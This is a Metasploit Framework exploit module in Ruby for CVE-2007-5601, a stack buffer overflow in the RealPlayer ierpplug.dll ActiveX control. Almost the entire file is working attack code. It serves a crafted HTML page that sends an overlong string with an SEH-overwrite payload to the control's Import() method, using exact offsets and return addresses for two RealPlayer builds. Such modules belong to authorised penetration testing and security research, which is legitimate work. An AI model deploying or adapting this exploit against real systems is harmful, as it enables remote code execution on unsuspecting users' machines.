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metasploit-framework/modules/exploits/windows/browser/realplayer_import.rb
2012-04-20 13:31:42 -06:00

108 lines
3.0 KiB
Ruby

##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'RealPlayer ierpplug.dll ActiveX Control Playlist Name Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in RealOne Player V2 Gold Build 6.0.11.853 and
RealPlayer 10.5 Build 6.0.12.1483. By sending an overly long string to the "Import()"
method, an attacker may be able to execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [ 'MC' ],
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2007-5601' ],
[ 'OSVDB', '41430' ],
[ 'BID', '26130' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 800,
'BadChars' => "\x00\x09\x0a\x0d'\\",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'IE / RealOne Player 2 (6.0.11.853)', { 'Offset' => 4756, 'Ret' => 0x601aa72b } ], #rpmn3260.dll (6.0.9.1419)
[ 'IE / RealPlayer 10.5 (6.0.12.1483)', { 'Offset' => 4768, 'Ret' => 0x614bd13b } ], #rpmn3260.dll (6.0.9.2934)
],
'DisclosureDate' => 'Oct 18 2007',
'DefaultTarget' => 0))
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Randomize some things
vname = rand_text_alpha(rand(100) + 1)
strname = rand_text_alpha(rand(100) + 1)
# Set the exploit buffer
filler = rand_text_english(target['Offset'])
seh = generate_seh_payload(target.ret)
sploit = filler + seh + rand_text_english(30724 - payload.encoded.length)
# [id(0x60020009), helpstring("Imports a file to RealPlayer's Media Library")]
# long Import(
# [in] BSTR file,
# [in, optional, defaultvalue("")] BSTR playlist,
# [in, optional, defaultvalue("")] BSTR clipInfo,
# [in, optional, defaultvalue(0)] long bPlayFile,
# [in, optional, defaultvalue(0)] long bCopyToMyMusic);
# Build out the message
content = %Q|
<html>
<object classid='clsid:FDC7A535-4070-4B92-A0EA-D9994BCC0DC5' id='#{vname}'></object>
<script language='javascript'>
var #{vname} = document.getElementById('#{vname}');
var #{strname} = new String('#{sploit}');
#{vname}.Import("Firstrun\\\\audio.rm" ,#{strname} ,"" ,0 ,0);
</script>
</html>
|
print_status("Sending #{self.name}")
# Transmit the response to the client
send_response_html(cli, content)
# Handle the payload
handler(cli)
end
end